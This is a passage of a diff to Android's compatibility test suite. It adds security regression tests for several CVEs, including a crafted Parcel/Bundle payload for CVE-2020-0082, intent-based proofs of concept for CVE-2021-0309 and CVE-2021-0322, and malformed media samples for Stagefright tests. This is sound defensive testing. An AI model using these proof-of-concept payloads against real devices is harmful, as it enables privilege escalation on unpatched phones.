@Before
fun installApp() {
@@ -95,7 +93,7 @@
) {
runWithShellPermissionIdentity {
val future = CompletableFuture<Boolean>()
- roleControllerManager.isApplicationVisibleForRole(
+ roleManager.isApplicationVisibleForRole(
roleName, packageName, context.mainExecutor, Consumer { future.complete(it) }
)
val isVisible = future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
@@ -121,7 +119,7 @@
private fun isRoleVisible(roleName: String): Boolean =
runWithShellPermissionIdentity(ThrowingSupplier {
val future = CompletableFuture<Boolean>()
- roleControllerManager.isRoleVisible(
+ roleManager.isRoleVisible(
roleName, context.mainExecutor, Consumer { future.complete(it) }
)
future.get(TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 7e4402e..76fc9cf 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -100,6 +100,25 @@
<data android:mimeType="application/vnd.android.package-archive"/>
</intent-filter>
</receiver>
+
+ <activity android:name="android.security.cts.CVE_2021_0339$FirstActivity"
+ android:label="TAT Anim1"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
+ <activity android:name="android.security.cts.CVE_2021_0339$SecondActivity"
+ android:label="TAT Anim2"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/res/anim/translate1.xml b/tests/tests/security/res/anim/translate1.xml
new file mode 100644
index 0000000..e8c562e
--- /dev/null
+++ b/tests/tests/security/res/anim/translate1.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="utf-8"?>
+<translate
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:fromYDelta="0%"
+ android:toYDelta="-100%"
+ android:interpolator="@android:anim/linear_interpolator"
+ android:duration="6000" />
diff --git a/tests/tests/security/res/anim/translate2.xml b/tests/tests/security/res/anim/translate2.xml
new file mode 100644
index 0000000..7156c56
--- /dev/null
+++ b/tests/tests/security/res/anim/translate2.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="utf-8"?>
+<translate
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:fromYDelta="100%"
+ android:toYDelta="0%"
+ android:interpolator="@android:anim/linear_interpolator"
+ android:duration="6000" />
diff --git a/tests/tests/security/res/raw/cve_2019_14013.mp4 b/tests/tests/security/res/raw/cve_2019_14013.mp4
new file mode 100644
index 0000000..2328751
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_14013.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3633.mp2 b/tests/tests/security/res/raw/cve_2020_3633.mp2
new file mode 100644
index 0000000..9c68044
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3633.mp2
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3658.mp4 b/tests/tests/security/res/raw/cve_2020_3658.mp4
new file mode 100644
index 0000000..a8ae316
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3658.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3660.mp4 b/tests/tests/security/res/raw/cve_2020_3660.mp4
new file mode 100644
index 0000000..9e0c1bf
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3660.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3661.mp4 b/tests/tests/security/res/raw/cve_2020_3661.mp4
new file mode 100644
index 0000000..e822179
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3661.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2020_3662.mp4 b/tests/tests/security/res/raw/cve_2020_3662.mp4
new file mode 100644
index 0000000..4fd269e
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_3662.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2021_0312.wav b/tests/tests/security/res/raw/cve_2021_0312.wav
new file mode 100644
index 0000000..aa144ec
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2021_0312.wav
Binary files differ
diff --git a/tests/tests/security/res/raw/sig_com_google_android_tzdata3.bin b/tests/tests/security/res/raw/sig_com_google_android_tzdata3.bin
new file mode 100644
index 0000000..6058316
--- /dev/null
+++ b/tests/tests/security/res/raw/sig_com_google_android_tzdata3.bin
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 1e0232b..59d965d 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -80,8 +80,8 @@
assertNotNull("Expect SecurityException by attaching null application", securityException);
}
- // b/165595677
- @SecurityTest(minPatchLevel = "2020-10")
+ // b/166667403
+ @SecurityTest(minPatchLevel = "2021-01")
public void testActivityManager_appExitReasonPackageNames() {
final String mockPackage = "com.foo.bar";
final String realPackage = "com.android.compatibility.common.deviceinfo";
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index e7126ed..99b2ab7 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -37,6 +37,145 @@
public class AmbiguousBundlesTest extends AndroidTestCase {
+ /**
+ * b/140417434
+ * Vulnerability Behaviour: Failure via Exception
+ */
+ @SecurityTest(minPatchLevel = "2020-04")
+ public void test_android_CVE_2020_0082() throws Exception {
+
+ Ambiguator ambiguator = new Ambiguator() {
+
+ private static final int VAL_STRING = 0;
+ private static final int VAL_PARCELABLEARRAY = 16;
+ private static final int LENGTH_PARCELABLEARRAY = 4;
+ private Parcel mContextBinder;
+ private int mContextBinderSize;
+ private static final int BINDER_TYPE_HANDLE = 0x73682a85;
+ private static final int PAYLOAD_DATA_LENGTH = 54;
+
+ {
+ mContextBinder = Parcel.obtain();
+ mContextBinder.writeInt(BINDER_TYPE_HANDLE);
+ for (int i = 0; i < 20; i++) {
+ mContextBinder.writeInt(0);
+ }
+ mContextBinder.setDataPosition(0);
+ mContextBinder.readStrongBinder();
+ mContextBinderSize = mContextBinder.dataPosition();
+ }
+
+ private String fillString(int length) {
+ return new String(new char[length]).replace('\0', 'A');
+ }
+
+
+ private String stringForInts(int... values) {
+ Parcel p = Parcel.obtain();
+ p.writeInt(2 * values.length);
+ for (int value : values) {
+ p.writeInt(value);
+ }
+ p.writeInt(0);
+ p.setDataPosition(0);
+ String s = p.readString();
+ p.recycle();
+ return s;
+ }
+
+ private void writeContextBinder(Parcel parcel) {
+ parcel.appendFrom(mContextBinder, 0, mContextBinderSize);
+ }
+
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ // Find key that has hash below everything else
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key, key2;
+ int keyHash, key2Hash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ do {
+ key2 = randomString(random);
+ key2Hash = key2.hashCode();
+ } while (key2Hash >= minHash || keyHash == key2Hash);
+
+ if (keyHash > key2Hash) {
+ String tmp = key;
+ key = key2;
+ key2 = tmp;
+ }
+
+ // Pad bundles
+ padBundle(postReSerialize, preReSerialize.size(), minHash, random);
+ padBundle(preReSerialize, postReSerialize.size(), minHash, random);
+
+ // Write bundle
+ Parcel parcel = Parcel.obtain();
+
+ int sizePosition = parcel.dataPosition();
+ parcel.writeInt(0);
+ parcel.writeInt(BUNDLE_MAGIC);
+ int startPosition = parcel.dataPosition();
+ parcel.writeInt(preReSerialize.size() + 2);
+
+ parcel.writeString(key);
+ parcel.writeInt(VAL_PARCELABLEARRAY);
+ parcel.writeInt(LENGTH_PARCELABLEARRAY);
+ parcel.writeString("android.os.ExternalVibration");
+ parcel.writeInt(0);
+ parcel.writeString(null);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ parcel.writeInt(0);
+ writeContextBinder(parcel);
+ writeContextBinder(parcel);
+
+ parcel.writeString(null);
+ parcel.writeString(null);
+ parcel.writeString(null);
+
+ // Payload
+ parcel.writeString(key2);
+ parcel.writeInt(VAL_OBJECTARRAY);
+ parcel.writeInt(2);
+ parcel.writeInt(VAL_STRING);
+ parcel.writeString(
+ fillString(PAYLOAD_DATA_LENGTH) + stringForInts(VAL_INTARRAY, 5));
+ parcel.writeInt(VAL_BUNDLE);
+ parcel.writeBundle(postReSerialize);
+
+ // Data from preReSerialize bundle
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ // Fix up bundle size
+ int bundleDataSize = parcel.dataPosition() - startPosition;
+ parcel.setDataPosition(sizePosition);
+ parcel.writeInt(bundleDataSize);
+
+ parcel.setDataPosition(0);
+ Bundle bundle = parcel.readBundle();
+ parcel.recycle();
+ return bundle;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
/*
* b/71992105
*/
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0309.java b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
new file mode 100644
index 0000000..3f39a0e
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0309.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assert.assertFalse;
+
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.accounts.GrantCredentialsPermissionActivity;
+import android.accounts.IAccountAuthenticatorResponse;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteException;
+import android.platform.test.annotations.SecurityTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0309 {
+ private final Context mContext = InstrumentationRegistry.getContext();
+ boolean isVulnerable = true;
+
+ /**
+ * b/159145361
+ */
+ @SecurityTest(minPatchLevel = "2021-01")
+ @Test
+ public void testPocCVE_2021_0309() {
+ /**
+ * Output of adb shell pm list packages --user 0 -U com.android.providers.media
+ * package:com.android.providers.media uid:10008
+ */
+ final int REQUESTED_UID = 10008;
+ Intent intent = new Intent();
+ intent.setClassName("android",
+ "android.accounts.GrantCredentialsPermissionActivity");
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_ACCOUNT,
+ new Account("abc@xyz.org", "com.my.auth"));
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_AUTH_TOKEN_TYPE,
+ AccountManager.ACCOUNT_ACCESS_TOKEN_TYPE);
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_RESPONSE,
+ new AccountAuthenticatorResponse(new IAccountAuthenticatorResponse.Stub() {
+ @Override
+ public void onResult(Bundle value) throws RemoteException {
+ }
+
+ @Override
+ public void onRequestContinued() {
+ }
+
+ @Override
+ public void onError(int errorCode, String errorMessage) throws RemoteException {
+ /**
+ * GrantCredentialsPermissionActivity's onCreate() should not execute and
+ * should return error when the requested UID does not match the process's UID
+ */
+ isVulnerable = false;
+ }
+ }));
+
+ intent.putExtra(GrantCredentialsPermissionActivity.EXTRAS_REQUESTING_UID,
+ REQUESTED_UID);
+ mContext.startActivity(intent);
+ /**
+ * Sleep for 5 seconds to ensure that the AccountAuthenticatorResponse callback gets
+ * triggered if vulnerability is fixed.
+ */
+ try {
+ Thread.sleep(5000);
+ } catch (Exception e) {
+ }
+ assertFalse(isVulnerable);
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0322.java b/tests/tests/security/src/android/security/cts/CVE_2021_0322.java
new file mode 100644
index 0000000..2233005
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0322.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ProviderInfo;
+import android.net.Uri;
+import android.os.Bundle;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.platform.test.annotations.SecurityTest;
+
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0322 {
+
+ private static final Uri BASE_URI = Uri.parse("content://android.security.cts.local/main");
+ private final Context mContext = InstrumentationRegistry.getContext();
+
+ boolean isVulnerable = false;
+ boolean onFinishedExecuted = false;
+
+ /**
+ * b/159145361
+ */
+ @SecurityTest(minPatchLevel = "2021-01")
+ @Test
+ public void testPocCVE_2021_0322() {
+ CVE_2021_0322_SliceProvider serviceProvider = new CVE_2021_0322_SliceProvider();
+ serviceProvider.attachInfo(mContext, new ProviderInfo());
+ PendingIntent pi = serviceProvider.onCreatePermissionRequest(BASE_URI);
+ PendingIntent.OnFinished onFinish = new PendingIntent.OnFinished() {
+ public void onSendFinished(PendingIntent pi, Intent intent,
+ int resultCode, String resultData, Bundle resultExtras) {
+ String packageName = intent.getStringExtra("provider_pkg");
+ if(packageName != null) {
+ isVulnerable = true;
+ }
+ onFinishedExecuted = true;
+ }
+ };
+ /* Execute the intent - the result is not required as the focus is */
+ /* the intent which was used. Hence ignore the exceptions. */
+ try {
+ pi.send(0, onFinish, null);
+ } catch (Exception e) {
+ }
+ /* Wait till the intent finishes. PendingIntent.OnFinished would be */
+ /* exectuted and the details of the intent which was executed would */
+ /* checked. */
+ try {
+ while(!onFinishedExecuted) {
+ Thread.sleep(1000); //Sleep for 1 second
+ }
+ assertTrue(!isVulnerable);
+ } catch (Exception e) {
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0322_SliceProvider.java b/tests/tests/security/src/android/security/cts/CVE_2021_0322_SliceProvider.java
new file mode 100644
index 0000000..f32aa90
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0322_SliceProvider.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import android.content.Context;
+
+public class CVE_2021_0322_SliceProvider extends android.app.slice.SliceProvider {
+
+ @Override
+ public boolean onCreate() {
+ return true;
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/CVE_2021_0339.java b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
new file mode 100644
index 0000000..66eadad
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/CVE_2021_0339.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertTrue;
+import android.test.AndroidTestCase;
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.platform.test.annotations.SecurityTest;
+import android.os.SystemClock;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import android.util.Log;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SecurityTest
+@RunWith(AndroidJUnit4.class)
+public class CVE_2021_0339 {
+
+ static final String TAG = CVE_2021_0339.class.getSimpleName();
+ private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+ static final int MAX_TRANSITION_DURATION_MS = 3000;
+ static final int TIME_MEASUREMENT_DELAY_MS = 150;
+ public static boolean testCompleted;
+
+ public FirstActivity fActivity;
+ public SecondActivity sActivity;
+
+ private void launchActivity(Class<? extends Activity> clazz) {
+ final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ }
+
+ /**
+ * b/175817167
+ */
+ @Test
+ @SecurityTest
+ public void testPocCVE_2021_0339() throws Exception {
+
+ Log.d(TAG, "test start");
+ testCompleted = false;
+ launchActivity(FirstActivity.class);
+
+ //wait for SecondActivity animation to complete
+ synchronized(CVE_2021_0339.class){
+ if(!testCompleted)
+ CVE_2021_0339.class.wait();
+ }
+ Log.d(TAG, "test completed");
+
+ //A duration of a transition from "FirstActivity" to "Second Activity"
+ //is set in this test to 6000 ms
+ // (res/anim/translate1.xml and res/anim/translate2.xml)
+ //The fix is supposed to limit the duration to 3000 ms
+ assertTrue(SecondActivity.duration < MAX_TRANSITION_DURATION_MS +
+ TIME_MEASUREMENT_DELAY_MS);
+ }
+
+ public static class FirstActivity extends Activity {
+
+ @Override
+ public void onEnterAnimationComplete() {
+ super.onEnterAnimationComplete();
+ Intent intent = new Intent(this, SecondActivity.class);
+ intent.putExtra("STARTED_TIMESTAMP", SystemClock.uptimeMillis());
+ startActivity(intent);
+ overridePendingTransition(R.anim.translate2,R.anim.translate1);
+ Log.d(TAG,this.getLocalClassName()+" onEnterAnimationComplete()");
+ }
+ }
+
+ public static class SecondActivity extends Activity{
+ public static int duration = 0;
+
+ @Override
+ public void onEnterAnimationComplete() {
+ super.onEnterAnimationComplete();
+ long completedTs = SystemClock.uptimeMillis();
+ long startedTs = getIntent().getLongExtra("STARTED_TIMESTAMP", 0);
+ duration = (int)(completedTs - startedTs);
+ Log.d(TAG, this.getLocalClassName()
+ + " onEnterAnimationComplete() duration=" + Long.toString(duration));
+
+ //Notify main thread that the test is completed
+ synchronized(CVE_2021_0339.class){
+ CVE_2021_0339.testCompleted = true;
+ CVE_2021_0339.class.notifyAll();
+ }
+ }
+ }
+}
diff --git a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
index 3aec394..0e0657a 100644
--- a/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
+++ b/tests/tests/security/src/android/security/cts/PackageSignatureTest.java
@@ -103,10 +103,11 @@
wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_resolv));
wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_debug));
wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_runtime_release));
- wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata2));
- // The following keys are no longer in use by modules, but it won't negatively affect tests
- // to include their signatures here too.
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata3));
+ // The following keys are not not used by modules on the latest Android release, but it
+ // won't negatively affect tests to include their signatures here too.
wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata));
+ wellKnownSignatures.add(getSignature(R.raw.sig_com_google_android_tzdata2));
return wellKnownSignatures;
}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index ee9e362..13495dc 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -1259,6 +1259,52 @@
***********************************************************/
@Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testStagefright_cve_2020_3658() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3658);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-05")
+ public void testStagefright_cve_2020_3633() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3633);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testStagefright_cve_2020_3660() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3660);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testStagefright_cve_2020_3661() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3661);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-01")
+ public void testStagefright_cve_2019_14013() throws Exception {
+ doStagefrightTest(R.raw.cve_2019_14013);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2020-06")
+ public void testStagefright_cve_2020_3662() throws Exception {
+ doStagefrightTest(R.raw.cve_2020_3662);
+ }
+
+ @Test
+ @SecurityTest(minPatchLevel = "2021-01")
+ public void testStagefright_cve_2021_0312() throws Exception {
+ assumeFalse(ModuleDetector.moduleIsPlayManaged(
+ getInstrumentation().getContext().getPackageManager(),
+ MainlineModule.MEDIA));
+ doStagefrightTestExtractorSeek(R.raw.cve_2021_0312, 2, new CrashUtils.Config()
+ .setSignals(CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT));
+ }
+
+ @Test
@SecurityTest(minPatchLevel = "2018-09")
public void testStagefright_cve_2018_9474() throws Exception {
MediaPlayer mp = new MediaPlayer();
diff --git a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
index 6ec352c..496270f 100644
--- a/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
+++ b/tests/tests/selinux/common/src/android/security/SELinuxTargetSdkTestBase.java
@@ -12,6 +12,7 @@
import java.util.Collections;
import java.util.regex.Pattern;
import java.util.regex.Matcher;
+import org.junit.Assert;
abstract class SELinuxTargetSdkTestBase extends AndroidTestCase
{
@@ -19,6 +20,8 @@
System.loadLibrary("ctsselinux_jni");
}
+ static final byte[] ANONYMIZED_HARDWARE_ADDRESS = { 0x02, 0x00, 0x00, 0x00, 0x00, 0x00 };
+
protected static String getFile(String filename) throws IOException {
BufferedReader in = null;
try {
@@ -76,19 +79,11 @@
}
}
- protected static void checkNetlinkRouteBind(boolean expectAllowed) throws IOException {
- if (!expectAllowed) {
- assertEquals(
- "Bind() is not allowed on a netlink route sockets",
- 13,
- checkNetlinkRouteBind());
- } else {
- assertEquals(
- "Bind() should succeed for netlink route sockets for apps with "
- + "targetSdkVersion <= Q",
- -1,
- checkNetlinkRouteBind());
- }
+ protected static void noNetlinkRouteBind() throws IOException {
+ assertEquals(
+ "bind() is not allowed on netlink route sockets",
+ 13,
+ checkNetlinkRouteBind());
}
/**
@@ -169,16 +164,17 @@
}
/**
- * Verify that apps having targetSdkVersion <= 29 are able to see MAC
- * addresses of ethernet devices.
+ * Verify that apps having targetSdkVersion <= 29 get an anonymized MAC
+ * address (02:00:00:00:00:00) instead of a null MAC for ethernet interfaces.
* The counterpart of this test (testing for targetSdkVersion > 29) is
* {@link libcore.java.net.NetworkInterfaceTest#testGetHardwareAddress_returnsNull()}.
*/
- protected static void checkNetworkInterface_returnsHardwareAddresses() throws Exception {
+ protected static void checkNetworkInterface_returnsAnonymizedHardwareAddresses()
+ throws Exception {
assertNotNull(NetworkInterface.getNetworkInterfaces());
for (NetworkInterface nif : Collections.list(NetworkInterface.getNetworkInterfaces())) {
if (isEthernet(nif.getName())) {
- assertEquals(6, nif.getHardwareAddress().length);
+ Assert.assertArrayEquals(ANONYMIZED_HARDWARE_ADDRESS, nif.getHardwareAddress());
}
}
}
diff --git a/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
index 1ed366e..1098a6f 100644
--- a/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxEphemeral/src/android/security/SELinuxTargetSdkTest.java
@@ -83,6 +83,6 @@
}
public void testNoNetlinkRouteBind() throws IOException {
- checkNetlinkRouteBind(false);
+ noNetlinkRouteBind();
}
}
diff --git a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
index a784464..5e2f75d 100644
--- a/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk27/src/android/security/SELinuxTargetSdkTest.java
@@ -66,6 +66,6 @@
}
public void testNetworkInterface() throws Exception {
- checkNetworkInterface_returnsHardwareAddresses();
+ checkNetworkInterface_returnsAnonymizedHardwareAddresses();
}
}
diff --git a/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
index 880ae1a..29b68db 100644
--- a/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk28/src/android/security/SELinuxTargetSdkTest.java
@@ -66,6 +66,6 @@
}
public void testNetworkInterface() throws Exception {
- checkNetworkInterface_returnsHardwareAddresses();
+ checkNetworkInterface_returnsAnonymizedHardwareAddresses();
}
}
diff --git a/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
index 1f1eaaa..c1d93dc 100644
--- a/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdk29/src/android/security/SELinuxTargetSdkTest.java
@@ -47,8 +47,8 @@
checkNetlinkRouteGetlink(true);
}
- public void testNetlinkRouteBindSucceeds() throws IOException {
- checkNetlinkRouteBind(true);
+ public void testNoNetlinkRouteBind() throws IOException {
+ noNetlinkRouteBind();
}
public void testCanNotExecuteFromHomeDir() throws Exception {
@@ -86,6 +86,6 @@
}
public void testNetworkInterface() throws Exception {
- checkNetworkInterface_returnsHardwareAddresses();
+ checkNetworkInterface_returnsAnonymizedHardwareAddresses();
}
}
diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
index 05fad31..4de03b0 100644
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
@@ -38,7 +38,7 @@
}
public void testNoNetlinkRouteBind() throws IOException {
- checkNetlinkRouteBind(false);
+ noNetlinkRouteBind();
}
public void testCanNotExecuteFromHomeDir() throws Exception {
diff --git a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
index ba22270..7602bae 100644
--- a/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
+++ b/tests/tests/sharesheet/src/android/sharesheet/cts/CtsSharesheetDeviceTest.java
@@ -531,7 +531,7 @@
mContext,
9384 /* number not relevant */ ,
new Intent(ACTION_INTENT_SENDER_FIRED_ON_CLICK),
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
Intent shareIntent = Intent.createChooser(intent, null, pi.getIntentSender());
diff --git a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java b/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
index b1c21a6..811966b 100644
--- a/tests/tests/shortcutmanager/throttling/src/android/content/pm/cts/shortcutmanager/throttling/InlineReply.java
